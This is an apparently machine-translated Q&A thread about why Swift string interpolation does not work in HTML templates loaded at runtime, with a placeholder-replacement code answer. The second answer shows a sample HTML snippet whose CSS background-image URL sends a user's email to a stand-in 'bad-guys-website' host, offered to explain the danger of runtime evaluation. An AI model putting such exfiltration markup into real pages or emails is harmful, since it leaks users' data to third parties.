我有HTML。 HTML文件包含很少的此类文本:\(something)
。这个HTML我转换成了String。但是当我把它作为html正文(或网页浏览)放入邮件时,而不是我的数据显示这些\(something)
。有人知道如何处理这个问题吗?
我知道html不是很快但是当我把它转换成字符串时它应该表现得像swift字符串,不是吗?谢谢
为了更好地理解检查屏幕截图。
我的html文件中的一段代码:
OSX Mail app:
答案 0 :(得分:2)
我遇到了同样的问题并使用了stringByReplacingOccurrencesOfString
。请参阅下面的示例代码:
通过调用html
NSBundle
文件的内容
let filePath = NSBundle.mainBundle().pathForResource("emailTemplate", ofType: "html")
let contentData = NSFileManager.defaultManager().contentsAtPath(filePath!)
let emailTemplate = NSString(data: contentData!, encoding: NSUTF8StringEncoding) as? String
在html file
中,您可以使用唯一目标(例如@%
)替换您希望变量所在的位置,只要该变量是唯一的,它就无关紧要。我们假设您的html
文件看起来像:
然后用目标替换字符串:
let replacedHtmlContent = emailTemplate?.stringByReplacingOccurrencesOfString("@%", withString: "Name")
您的新html
内容将是:
希望这有帮助,祝你好运!
答案 1 :(得分:0)
编译器处理字符串内插工作的基础;因此,当您在运行时将其传递给该字符串时,(感谢)它不会对它进行求值以寻找要填充的变量。
如果这样做,那么有人可以通过数据文件将任意代码传递到您的程序中,并且该代码将被评估,因为
“字符串插值是一种通过将常量,变量,文字和表达式混合在一起来构造新的String值的方法,方法是将它们的值包含在字符串文字中。 ”(添加了重点)
摘录自:Apple Inc.“ Swift编程语言(Swift 5.0)”。Apple Books。 https://books.apple.com/us/book/the-swift-programming-language-swift-5-0/id881256329
因此,在运行时评估字符串并从执行范围填充变量将使攻击者能够通过类似的方式泄漏数据
<html>
<body></body>
<style>body{ background-image: url("http://bad-guys-website/?stolen_email=\(userEmailVariableInSwiftCodeFromApp)");}</style>
</html>